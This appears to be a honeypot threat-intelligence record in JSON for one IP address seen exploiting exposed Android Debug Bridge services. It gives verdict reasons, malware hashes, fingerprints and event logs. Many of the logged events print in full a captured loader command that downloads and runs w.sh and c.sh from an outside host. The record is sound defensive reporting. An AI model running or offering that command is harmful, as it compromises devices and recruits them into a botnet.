{"ip":"45.153.34.18","data_as_of":"2026-10-24T03:19:20+00:00","observed":true,"total_events":34,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"24 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["24 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Sent 7,571 bytes, which is sustained payload delivery.","Counts include 4 interactive session(s) as well as first-packet events.","Interactive sessions: 4 interactive session(s) ran commands after logging in."],"engagement":{"level":"payload","label":"Sustained payload","detail":"7,571 bytes sent","bytes_sent":7571,"session_seconds":30,"persistent":false},"basis":"combined"},"first_seen":"2026-10-10T02:41:14","last_seen":"2026-10-20T06:25:30","events_24h":0,"events_7d":12,"interactive_sessions":4,"interactive_sessions_24h":0,"interactive_sessions_7d":4,"interactive_protocols":[{"protocol":"adb","sessions":4}],"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":197170,"org":"TechTies Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"2e7a5ab7abb5899b0cfac6cf530ecfd3060ec2f2f120863797158686d6ed228a","family":"gen2","vt_name":"c.sh","malicious":16,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":5555,"hits":1,"last_seen":"2026-10-19 21:02:48"},{"sha256":"6b30e97ad75c7f255a93b51e497f416759a6c0906891bdf56c52c7f78dc4870e","family":"bash","vt_name":"w.sh","malicious":10,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":5555,"hits":1,"last_seen":"2026-10-19 21:02:48"}],"udp":null,"interaction":{"window_days":90,"sessions":4,"first_seen":"2026-10-19T21:02:48","last_seen":"2026-10-19T22:28:51","verdicts":[{"verdict":"post-exploitation","sessions":4}],"personas":[{"persona":"adb@Android 9 TV box","sessions":4}],"services":[{"protocol":"adb","port":5555,"sessions":4}],"logins":[],"commands":[],"downloads":[{"url":"[http]://46[.]16[.]34[.]248:24381/bins/payloads/w.sh","host":"46[.]16[.]34[.]248","sessions":4,"first_seen":"2026-10-19T21:02:48","last_seen":"2026-10-19T22:28:51","virustotal":{"sha256":"6b30e97ad75c7f255a93b51e497f416759a6c0906891bdf56c52c7f78dc4870e","status":"known","malicious":10,"total":75,"name":"w.sh"}},{"url":"[http]://46[.]16[.]34[.]248:24381/bins/payloads/c.sh","host":"46[.]16[.]34[.]248","sessions":4,"first_seen":"2026-10-19T21:02:48","last_seen":"2026-10-19T22:28:51","virustotal":{"sha256":"2e7a5ab7abb5899b0cfac6cf530ecfd3060ec2f2f120863797158686d6ed228a","status":"known","malicious":16,"total":75,"name":"c.sh"}}],"files":[{"sha256":"e7c2ccc50becb726ae757cf8497a7fd1480f68cb401d2936f6807b3c48526b83","name":"shell-1","size":147,"mime_type":"text/plain","kind":"adb-command","times":4,"first_seen":"2026-10-19T21:02:17","last_seen":"2026-10-19T22:28:21","virustotal":null}],"attack":[{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":4}]},"top_ports":[{"port":5555,"proto":"tcp","label":"","count":32,"sessions":4},{"port":7681,"proto":"tcp","label":"","count":2,"sessions":0}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i140900_cbb2034c60b8_e7c285222651"],"tls_client_hello":"16030100e4010000e003032373401ecd247188ed885df500dc62590e468433433dc716d8e07e80e4858e23205e114c3f8ed87866b0a483def7b6527573adda14d20630f4d38991fc9af628ec001cc02bc02fc02cc030cca9cca8c009c013c00ac014c0121301130213030100007b000500050100000000000a000a0008001d001700180019000b00020100000d001a0018080404030807080508060401050106010503060302010203ff010001000017000000120000002b00050403040303003300260024001d00208f5792767edfef8a73b1d3b81c45a30cbbbf3167788741f2fb11ff57","tls_ja3":["ea4a9ae049cfc614efbb3c244abb3fc7"],"http_akin":["b11cun103_50340011_f5d02f95_x9f62a4acfdb1"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i140900_cbb2034c60b8_e7c285222651":756,"b11cun103_50340011_f5d02f95_x9f62a4acfdb1":21},"akin_families":{},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-10-10","count":6,"sessions":0},{"date":"2026-10-11","count":4,"sessions":0},{"date":"2026-10-12","count":6,"sessions":0},{"date":"2026-10-13","count":1,"sessions":0},{"date":"2026-10-14","count":5,"sessions":0},{"date":"2026-10-19","count":10,"sessions":4},{"date":"2026-10-20","count":2,"sessions":0}],"recent_events":[{"timestamp":"2026-10-20T06:25:30","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u00120\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/w.sh; sh w.sh; curl http://46.16.34.248:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f76324f50454e58010000000000009a00000012300000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"9f02b877-a619-498b-a916-3454f53ba869","seq":1,"duration_ms":100,"bytes_in":229,"bytes_out":12,"enriched":{"digest":"7ece603628fda25b","strings":["CNXN","host::features=cmd,shell_v2OPENX","shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/…"],"iocs":{"urls":["http://46.16.34.248:24381/bins/payloads/…"],"ips":["46.16.34.248"],"paths":["/data/local/tmp","/bins/payloads"]}}},{"timestamp":"2026-10-20T05:48:44","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u00120\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/w.sh; sh w.sh; curl http://46.16.34.248:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f76324f50454e58010000000000009a00000012300000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"e7581eda-a1cf-42c7-acfd-73d7c60b6807","seq":1,"duration_ms":100,"bytes_in":229,"bytes_out":12,"enriched":{"digest":"7ece603628fda25b","strings":["CNXN","host::features=cmd,shell_v2OPENX","shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/…"],"iocs":{"urls":["http://46.16.34.248:24381/bins/payloads/…"],"ips":["46.16.34.248"],"paths":["/data/local/tmp","/bins/payloads"]}}},{"timestamp":"2026-10-19T22:28:21","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u00120\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/w.sh; sh w.sh; curl http://46.16.34.248:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e58010000000000009a00000012300000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"6a5d5a55-8fb8-418c-a3fb-f8f165683fb7-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"fdbf53caea666b50","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/…"],"iocs":{"urls":["http://46.16.34.248:24381/bins/payloads/…"],"ips":["46.16.34.248"],"paths":["/data/local/tmp","/bins/payloads"]}},"interactive":true},{"timestamp":"2026-10-19T22:28:21","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"6a5d5a55-8fb8-418c-a3fb-f8f165683fb7-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]},"interactive":true},{"timestamp":"2026-10-19T22:02:15","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u00120\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/w.sh; sh w.sh; curl http://46.16.34.248:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e58010000000000009a00000012300000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"808ea55f-a201-4713-a288-6cbc909d5717-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"fdbf53caea666b50","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/…"],"iocs":{"urls":["http://46.16.34.248:24381/bins/payloads/…"],"ips":["46.16.34.248"],"paths":["/data/local/tmp","/bins/payloads"]}},"interactive":true},{"timestamp":"2026-10-19T22:02:14","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"808ea55f-a201-4713-a288-6cbc909d5717-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]},"interactive":true},{"timestamp":"2026-10-19T22:00:38","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u00120\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/w.sh; sh w.sh; curl http://46.16.34.248:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f76324f50454e58010000000000009a00000012300000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"92f68f29-e739-4821-9cd1-f9028e1dc629","seq":1,"duration_ms":100,"bytes_in":229,"bytes_out":12,"enriched":{"digest":"7ece603628fda25b","strings":["CNXN","host::features=cmd,shell_v2OPENX","shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/…"],"iocs":{"urls":["http://46.16.34.248:24381/bins/payloads/…"],"ips":["46.16.34.248"],"paths":["/data/local/tmp","/bins/payloads"]}}},{"timestamp":"2026-10-19T21:59:15","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u00120\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/w.sh; sh w.sh; curl http://46.16.34.248:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f76324f50454e58010000000000009a00000012300000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"f6ab41fe-125e-4bfc-88af-9f885912950c","seq":1,"duration_ms":100,"bytes_in":229,"bytes_out":12,"enriched":{"digest":"7ece603628fda25b","strings":["CNXN","host::features=cmd,shell_v2OPENX","shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/…"],"iocs":{"urls":["http://46.16.34.248:24381/bins/payloads/…"],"ips":["46.16.34.248"],"paths":["/data/local/tmp","/bins/payloads"]}}},{"timestamp":"2026-10-19T21:51:54","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u00120\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/w.sh; sh w.sh; curl http://46.16.34.248:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f76324f50454e58010000000000009a00000012300000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"76d1921a-18a0-40f2-a262-046429d7d4e6","seq":1,"duration_ms":101,"bytes_in":229,"bytes_out":12,"enriched":{"digest":"7ece603628fda25b","strings":["CNXN","host::features=cmd,shell_v2OPENX","shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/…"],"iocs":{"urls":["http://46.16.34.248:24381/bins/payloads/…"],"ips":["46.16.34.248"],"paths":["/data/local/tmp","/bins/payloads"]}}},{"timestamp":"2026-10-19T21:31:52","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u00120\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/w.sh; sh w.sh; curl http://46.16.34.248:24381/bins/payloads/c.sh; sh c.sh\u0000","payload_hex":"4f50454e58010000000000009a00000012300000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f772e73683b20736820772e73683b206375726c20687474703a2f2f34362e31362e33342e3234383a32343338312f62696e732f7061796c6f6164732f632e73683b20736820632e736800","method":"","user_agent":"","ja3":"","session":"828fab1d-395a-4f76-95db-1dd666b0d555-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"fdbf53caea666b50","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget http://46.16.34.248:24381/bins/payloads/…"],"iocs":{"urls":["http://46.16.34.248:24381/bins/payloads/…"],"ips":["46.16.34.248"],"paths":["/data/local/tmp","/bins/payloads"]}},"interactive":true}],"http_methods":[{"method":"GET","count":2}],"distinct_ports_total":2,"top_paths":[{"path":"/ws","count":2,"ports":1}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":4},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":4}]}